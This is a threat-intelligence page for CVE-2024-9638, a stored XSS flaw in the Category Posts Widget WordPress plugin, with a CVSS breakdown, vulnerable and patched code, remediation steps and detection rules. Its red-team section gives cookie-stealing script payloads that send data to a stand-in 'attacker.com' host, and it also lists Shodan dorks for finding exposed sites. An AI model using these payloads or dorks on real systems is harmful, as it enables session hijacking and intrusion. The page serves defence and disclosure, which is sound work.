☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9638

CVE-2024-9638 Cross-Site Scripting in Category posts widget
📅 PUBLISHED: 2025-01-07 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9638 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Category Posts Widget WordPress plugin, affecting versions prior to 4.9.18. The flaw arises from insufficient sanitization and escaping of plugin settings, allowing high-privilege users (e.g., administrators) to inject arbitrary web scripts. In multisite WordPress configurations, even when the unfiltered_html capability is disallowed, an attacker with admin-level access can store malicious JavaScript that executes in the context of other users viewing the affected settings page. This can lead to session hijacking, defacement, or further privilege escalation within the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No third-party package manager (NPM, PyPI, etc.) is involved.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have admin-level access.
  • User Interaction (UI): Required (R) – A user must view the maliciously crafted settings page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 4.8 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, in a multisite environment, a compromised admin account can lead to widespread impact.

Deep Dive & Mechanics

The vulnerability resides in the settings page of the Category Posts Widget plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the WordPress database. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper escaping in the admin dashboard.

Root Cause: The plugin uses update_option() to store settings without applying sanitize_text_field() or esc_html() on the input. When the settings are displayed via settings_fields() or similar functions, the unsanitized data is output directly, allowing script execution.

Attack Flow:

  1. An attacker with admin privileges navigates to the plugin settings page.
  2. The attacker injects a payload like <script>alert('XSS')</script> into a text field.
  3. The plugin stores the payload in the wp_options table.
  4. When any admin (including the attacker) views the settings page, the payload executes in the browser.

WordPress Ecosystem Context: This is a classic stored XSS in a WordPress plugin. The vulnerability is not related to Apache or Nginx; it is purely a coding flaw in the plugin's PHP logic.

Vulnerable vs. Patched Code

Vulnerable Code (version < 4.9.18):

// In settings registration
register_setting( 'cpw_settings_group', 'cpw_settings' );

// In settings display
function cpw_settings_page() {
    $options = get_option( 'cpw_settings' );
    ?>
    <input type="text" name="cpw_settings[title]" value="<?php echo $options['title']; ?>" />
    <?php
}

Patched Code (version 4.9.18):

// In settings registration
register_setting( 'cpw_settings_group', 'cpw_settings', 'cpw_sanitize_settings' );

// Sanitization callback
function cpw_sanitize_settings( $input ) {
    $input['title'] = sanitize_text_field( $input['title'] );
    return $input;
}

// In settings display
function cpw_settings_page() {
    $options = get_option( 'cpw_settings' );
    ?>
    <input type="text" name="cpw_settings[title]" value="<?php echo esc_attr( $options['title'] ); ?>" />
    <?php
}

The patch introduces a sanitization callback (cpw_sanitize_settings) that uses sanitize_text_field() to strip malicious content, and esc_attr() to safely output the value.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress installation with Category Posts Widget plugin version < 4.9.18.
  • Admin-level credentials.

Steps:

  1. Log in as an admin.
  2. Navigate to Settings > Category Posts Widget.
  3. In the "Title" field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Click "Save Changes".
  5. Any admin who visits the settings page will trigger the XSS, sending their cookies to the attacker's server.

Alternative Payload (for session hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual changes to the wp_options table, specifically the cpw_settings option.
  • Look for HTTP requests to unknown external domains from the WordPress admin dashboard.
  • Use the Sigma rule below to detect the stored XSS payload in logs.

Defense:

  • Immediately update the plugin to version 4.9.18 or later.
  • Restrict admin access to trusted users only.
  • Implement a Web Application Firewall (WAF) to block common XSS patterns.
  • Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/category-posts-widget/category-posts-widget.php (version < 4.9.18)
  • Database Entry: wp_options table with option_name = 'cpw_settings' containing <script> tags.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin IP.
  • Logs: WordPress debug log entries showing unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2024_9638_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Category Posts Widget settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9638"
    strings:
        $payload = /<script[^>]*>.*?<\/script>/s
        $option_name = "cpw_settings"
    condition:
        $option_name and #payload > 0
}

Sigma Rule

title: Stored XSS in Category Posts Widget Settings
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payload in WordPress options table
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name: "cpw_settings"
        option_value|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9638 Stored XSS Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  1. Update the Category Posts Widget plugin to version 4.9.18 or later.
  2. If unable to update, disable the plugin until a patch can be applied.

Long-term:

  • Implement input validation and output escaping in all custom WordPress plugins.
  • Regularly audit plugins for security vulnerabilities.
  • Use a WordPress security plugin (e.g., Wordfence) to monitor for malicious activity.
  • Enforce the principle of least privilege for all WordPress users.

Valters IT – Securing digital ecosystems through proactive threat intelligence.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Category Posts Widget"
http.html:"category-posts-widget"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9638/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.